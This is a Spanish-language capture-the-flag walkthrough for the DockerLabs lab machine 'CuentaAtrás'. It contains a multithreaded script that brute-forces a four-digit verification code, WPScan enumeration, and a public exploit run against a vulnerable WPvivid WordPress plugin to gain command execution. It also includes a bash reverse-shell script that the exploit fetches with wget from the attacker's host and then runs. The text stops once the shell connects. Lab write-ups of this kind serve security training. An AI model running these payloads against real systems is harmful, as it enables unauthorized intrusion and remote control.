> For the complete documentation index, see [llms.txt](https://dise0.gitbook.io/h4cker_b00k/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dise0.gitbook.io/h4cker_b00k/ctf/dockerlabs/cuentaatras-dockerlabs-intermediate.md).
# CuentaAtrás DockerLabs (Intermediate)
## Contexto de la maquina
### Trayectoria CuentaAtrás
### Descripción
**CuentaAtrás** es una máquina Linux que combina varios vectores de ataque relacionados con aplicaciones web, autenticación débil, explotación de plugins vulnerables en WordPress y análisis forense de archivos.
El escenario comienza con una aplicación web que implementa un mecanismo de verificación mediante código numérico de cuatro dígitos. Debido a la falta de protecciones adecuadas contra intentos automatizados, este mecanismo puede ser explotado mediante **fuerza bruta**, permitiendo el acceso a funcionalidades ocultas del sistema.
Posteriormente, el reto continúa con la explotación de un **plugin vulnerable de WordPress**, lo que permite ejecutar comandos en el servidor. A partir de este punto se realizan varias escaladas de privilegios mediante credenciales expuestas, análisis de archivos y técnicas de **esteganografía**.
**Objetivo del reto**
El objetivo consiste en comprometer completamente el sistema:
* Acceder al portal protegido
* Obtener ejecución remota de comandos
* Escalar privilegios entre varios usuarios del sistema
* Obtener acceso final como **root**
* Recuperar las flags del sistema
**Tipo de máquina**
* Linux
* Web Application
* WordPress
* Análisis forense / Esteganografía
**Habilidades y técnicas evaluadas**
* Enumeración de servicios con **Nmap**
* Ataques de **fuerza bruta sobre códigos OTP**
* Enumeración de WordPress con **WPScan**
* Explotación de **plugins vulnerables**
* Ejecución remota de comandos (**RCE**)
* Obtención de **reverse shells**
* Fuerza bruta de credenciales SSH
* Decodificación **Base64**
* Análisis forense de archivos
* Manipulación de cabeceras de archivos
* **Esteganografía** en imágenes
* Escalada de privilegios en Linux
### Análisis de vulnerabilidades
## Instalación
Cuando obtenemos el `.zip` nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
```shell
unzip cuentaatras.zip
```
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
```shell
bash auto_deploy.sh cuentaatras.tar
```
Info:
```
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
```
Por lo que cuando terminemos de hackearla, le damos a `Ctrl+C` y nos eliminara la maquina para que no se queden archivos basura.
## Escaneo de puertos
```shell
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn
```
```shell
nmap -sCV -p
```
Info:
```
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-10 11:20 -0400
Nmap scan report for 172.17.0.2
Host is up (0.000025s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 44:8b:5d:b8:b1:d8:de:fd:c9:a5:fe:55:d2:2b:db:de (ECDSA)
|_ 256 1a:52:81:f8:4e:ee:37:2c:95:16:57:7c:2b:02:a4:e9 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Login
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.01 seconds
```
A partir del escaneo observamos que únicamente existen **dos puertos abiertos**:
* **22/tcp → SSH**
* **80/tcp → HTTP**
El puerto **80** aloja una aplicación web, por lo que procedemos a inspeccionarla accediendo desde el navegador.
```
URL = http:///
```
Respuesta:
La página muestra un **panel de login aparentemente sencillo**. En la parte inferior se observa la opción de **registro de usuario**, por lo que decidimos crear una cuenta para analizar el comportamiento de la aplicación.
Al intentar registrarnos, el sistema nos redirige a un nuevo paso del proceso de verificación.
## Fuerza bruta código
Durante el registro observamos que la aplicación solicita introducir un **código de verificación enviado al número de teléfono proporcionado**. Además, el sistema indica que disponemos de **5 minutos para introducir dicho código**.
Sin embargo, como el número de teléfono introducido no existe, **no tenemos forma de recibir el código de verificación**.
Analizando la funcionalidad, podemos deducir que el código es un **valor numérico de 4 dígitos**, lo que implica un total de **10.000 combinaciones posibles (0000–9999)**.
Dado que el espacio de búsqueda es reducido, decidimos desarrollar un **script de fuerza bruta en Python** que pruebe aproximadamente **100 códigos por segundo**, aprovechando múltiples hilos para acelerar el proceso.
El objetivo del script es detectar cuándo el código es correcto observando **cambios en la respuesta del servidor**, como por ejemplo una **redirección HTTP o un cambio en el contenido de la página**.
> bruteNum.py
```python
import requests
from concurrent.futures import ThreadPoolExecutor
import time
url = "http:///verify.php"
def crear_sesion():
"""Crea una sesión con la cookie"""
sesion = requests.Session()
sesion.cookies.set("PHPSESSID", "")
return sesion
def probar_codigo(args):
"""Prueba un código con su propia sesión"""
codigo, sesion = args
try:
response = sesion.post(
url,
data={"code": f"{codigo:04d}"},
timeout=0.5,
allow_redirects=False # No seguir redirecciones automáticamente
)
# Verificar si hay redirección a registro (código 302 Found)
if response.status_code == 302:
return codigo, True, "REDIRECCIÓN DETECTADA"
# Alternativa: verificar si la respuesta contiene el formulario de registro
texto = response.text.lower()
if "registro de usuario" in texto or "register" in texto:
return codigo, True, "PÁGINA DE REGISTRO ENCONTRADA"
except Exception as e:
pass
return None, False, None
def fuerza_bruta():
"""Ejecuta fuerza bruta con sesiones"""
print("🚀 Iniciando fuerza bruta...")
print("🔍 Buscando código que redirija a registro...")
print("=" * 60)
# Crear sesiones para cada hilo
sesiones = [crear_sesion() for _ in range(50)] # Aumentamos a 50 hilos
with ThreadPoolExecutor(max_workers=50) as executor:
# Preparar argumentos: (código, sesión)
args = [(i, sesiones[i % 50]) for i in range(10000)]
futures = {executor.submit(probar_codigo, arg): i for i, arg in enumerate(args)}
for future in futures:
codigo, encontrado, detalle = future.result()
if encontrado:
print("\n" + "=" * 60)
print(f"🎯 ¡CÓDIGO SECRETO DETECTADO: {codigo:04d}!")
print(f"📝 Detalle: {detalle}")
print("✅ El código es correcto - Redirige a registro")
print("=" * 60)
executor.shutdown(wait=False)
return codigo
# Progreso cada 100 códigos
current = futures[future]
if current % 100 == 0 and current > 0:
print(f"➡️ Progreso: {current:04d}/9999 - Probando códigos...")
return None
def verificar_manualmente(codigo):
"""Verifica manualmente el código encontrado"""
print("\n🔍 VERIFICACIÓN MANUAL:")
print(f"📌 Código encontrado: {codigo:04d}")
print(f"🌐 URL para verificar: {url}")
print("🍪 Usa esta cookie en el navegador:")
print(" PHPSESSID=ucso5tjuqp7jrtplbetn05kvui")
print(f"🔗 O accede directamente: {url} (y prueba el código {codigo:04d})")
if __name__ == "__main__":
inicio = time.time()
resultado = fuerza_bruta()
print("\n" + "=" * 60)
if resultado:
print(f"✅ ¡ÉXITO! Código secreto encontrado: {resultado:04d}")
verificar_manualmente(resultado)
else:
print("❌ No se encontró el código secreto")
print(f"⏱️ Tiempo total: {time.time() - inicio:.2f} segundos")
print("=" * 60)
```
Una vez ajustado el script a nuestras necesidades, lo ejecutamos:
```shell
python3 bruteNum.py
```
Respuesta:
```
....................................................................
➡️ Progreso: 6200/9999 - Probando códigos...
============================================================
🎯 ¡CÓDIGO SECRETO DETECTADO: 6272!
📝 Detalle: REDIRECCIÓN DETECTADA
✅ El código es correcto - Redirige a registro
============================================================
============================================================
✅ ¡ÉXITO! Código secreto encontrado: 6272
🔍 VERIFICACIÓN MANUAL:
📌 Código encontrado: 6272
🌐 URL para verificar: http://172.17.0.2/verify.php
🍪 Usa esta cookie en el navegador:
PHPSESSID=ucso5tjuqp7jrtplbetn05kvui
🔗 O accede directamente: http://172.17.0.2/verify.php (y prueba el código 6272)
⏱️ Tiempo total: 15.76 segundos
============================================================
```
El script detecta que el código **6272** produce un comportamiento distinto en la respuesta del servidor, lo que indica que **es el código de verificación correcto**.
Con este código podemos completar el proceso de registro e iniciar sesión en la aplicación.
## Acceso al portal oculto
Una vez autenticados correctamente, el sistema nos muestra la siguiente página:
Aquí observamos que se revela una **ruta oculta dentro de la aplicación**, accedemos a dicha ruta::
```
URL = http:///secret_portal_65hBlEo9OU/
```
Respuesta:
Al inspeccionar la página observamos que se trata de una **instancia de WordPress**.
Sabiendo esto, procedemos a realizar tareas de **enumeración de usuarios y plugins** para identificar posibles vectores de ataque.
## Enumeración con WPScan
Para enumerar usuarios y plugins utilizamos la herramienta `wpscan`.
```shell
wpscan --url http:///secret_portal_65hBlEo9OU/ -e u
wpscan --url http:///secret_portal_65hBlEo9OU/ -e p --plugins-detection aggressive
```
Respuesta:
```
....................................................................
[i] Plugin(s) Identified:
[+] akismet
| Location: http://172.17.0.2/secret_portal_65hBlEo9OU/wp-content/plugins/akismet/
| Latest Version: 5.6 (up to date)
| Last Updated: 2025-11-12T16:31:00.000Z
| Readme: http://172.17.0.2/secret_portal_65hBlEo9OU/wp-content/plugins/akismet/readme.txt
|
| Found By: Known Locations (Aggressive Detection)
| - http://172.17.0.2/secret_portal_65hBlEo9OU/wp-content/plugins/akismet/, status: 200
|
| Version: 5.6 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://172.17.0.2/secret_portal_65hBlEo9OU/wp-content/plugins/akismet/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://172.17.0.2/secret_portal_65hBlEo9OU/wp-content/plugins/akismet/readme.txt
[+] wpvivid-backuprestore
| Location: http://172.17.0.2/secret_portal_65hBlEo9OU/wp-content/plugins/wpvivid-backuprestore/
| Last Updated: 2026-02-20T00:33:00.000Z
| Readme: http://172.17.0.2/secret_portal_65hBlEo9OU/wp-content/plugins/wpvivid-backuprestore/readme.txt
| [!] The version is out of date, the latest version is 0.9.124
|
| Found By: Known Locations (Aggressive Detection)
| - http://172.17.0.2/secret_portal_65hBlEo9OU/wp-content/plugins/wpvivid-backuprestore/, status: 200
|
| Version: 0.9.123 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://172.17.0.2/secret_portal_65hBlEo9OU/wp-content/plugins/wpvivid-backuprestore/readme.txt
....................................................................
[i] User(s) Identified:
[+] admin_master
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
....................................................................
```
Por lo tanto, tras esta enumeración obtenemos información relevante:
* **Usuario identificado:** `admin_master`
* **Plugins detectados:**
* `akismet`
* `wpvivid-backuprestore` (versión desactualizada)
Dado que uno de los plugins se encuentra **desactualizado**, el siguiente paso será **investigar posibles vulnerabilidades asociadas a estos plugins**, especialmente al plugin `wpvivid-backuprestore`, que podría proporcionar un vector de explotación.
## Escalate user www-data
### CVE-2026-1357
Si investigamos un poco más sobre el plugin identificado anteriormente, observamos que la versión **`0.9.123` del plugin `wpvivid-backuprestore`** es vulnerable a la vulnerabilidad **CVE-2026-1357**.
Esta vulnerabilidad permite realizar **Remote Code Execution (RCE)** en el servidor a través de una funcionalidad vulnerable del plugin. Para explotarla utilizaremos un **Proof of Concept (PoC)** disponible públicamente.
Repositorio del exploit:
URL = [GitHub CVE-2026-1357 Exploit](https://github.com/halilkirazkaya/CVE-2026-1357/tree/main)
Procedemos a clonarlo en nuestra máquina atacante.
Una vez descargado el repositorio, creamos un **entorno virtual de Python** para instalar las dependencias necesarias sin afectar al sistema global.
```shell
python3 -m venv .venv; source .venv/bin/activate
pip install -r requirements.txt
```
Con todas las dependencias instaladas, ejecutamos el exploit en modo **check** para comprobar si el sistema es vulnerable.
```shell
python3 exploit.py -u 'http:///secret_portal_65hBlEo9OU/' -c
```
Respuesta:
```
╔══════════════════════════════════════════════════════════╗
║ CVE-2026-1357 WPvivid RCE PoC ║
║ WPvivid Backup & Migration <= 0.9.123 ║
╚══════════════════════════════════════════════════════════╝
[*] Target : http://172.17.0.2/secret_portal_65hBlEo9OU/
[*] Mode : Check
[*] Upload path : ../uploads/05j9u2vdi75z.txt
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 372 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://172.17.0.2/secret_portal_65hBlEo9OU/wp-content/uploads/05j9u2vdi75z.txt
[✓] Vulnerability Confirmed! File content matches MD5.
```
Observamos que el exploit confirma que el sistema es **vulnerable**, ya que ha sido capaz de subir un archivo al directorio de uploads del servidor.
### Ejecución de comandos
Ahora que sabemos que la vulnerabilidad es explotable, vamos a probar la ejecución remota de comandos utilizando el exploit.
```shell
python3 exploit.py -u 'http:///secret_portal_65hBlEo9OU/' -s 'id'
```
Respuesta:
```
╔══════════════════════════════════════════════════════════╗
║ CVE-2026-1357 WPvivid RCE PoC ║
║ WPvivid Backup & Migration <= 0.9.123 ║
╚══════════════════════════════════════════════════════════╝
[*] Target : http://172.17.0.2/secret_portal_65hBlEo9OU/
[*] Mode : Shell
[*] Upload path : ../uploads/2t9juyucx40hipp7bw1rx0mg.php
[*] Verify cmd : id
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://172.17.0.2/secret_portal_65hBlEo9OU/wp-content/uploads/2t9juyucx40hipp7bw1rx0mg.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
Esto confirma que podemos ejecutar comandos en el sistema como el usuario **`www-data`**, que corresponde al usuario del servidor web.
### Obtención de Reverse Shell
Para obtener acceso interactivo al sistema, procederemos a crear una **reverse shell**.
Primero creamos un archivo que contenga la shell reversa.
> rev.sh
```bash
#!/bin/bash
bash -i >& /dev/tcp// 0>&1
```
Una vez creado el archivo, levantamos un **servidor HTTP temporal** con Python para que la máquina víctima pueda descargarlo.
```shell
python3 -m http.server 80
```
Con el servidor activo, utilizamos el exploit para descargar el archivo en la máquina víctima utilizando `wget`.
```shell
python3 exploit.py -u 'http:///secret_portal_65hBlEo9OU/' -s 'wget http:///rev.sh -O /tmp/rev.sh'
```
Si observamos la salida del servidor Python veremos que el archivo ha sido descargado correctamente.
Ahora nos ponemos a la escucha en nuestra máquina atacante:
```shell
nc -lvnp
```
Finalmente ejecutamos el script desde el servidor víctima utilizando nuevamente el exploit.
```shell
python3 exploit.py -u 'http:///secret_portal_65hBlEo9OU/' -s 'bash /tmp/rev.sh'
```
Al hacerlo, recibiremos la conexión en nuestro listener.
```
listening on [any] 7777 ...
connect to [192.168.5.131] from (UNKNOWN) [172.17.0.2] 57636
bash: cannot set terminal process group (32): Inappropriate ioctl for device
bash: no job control in this shell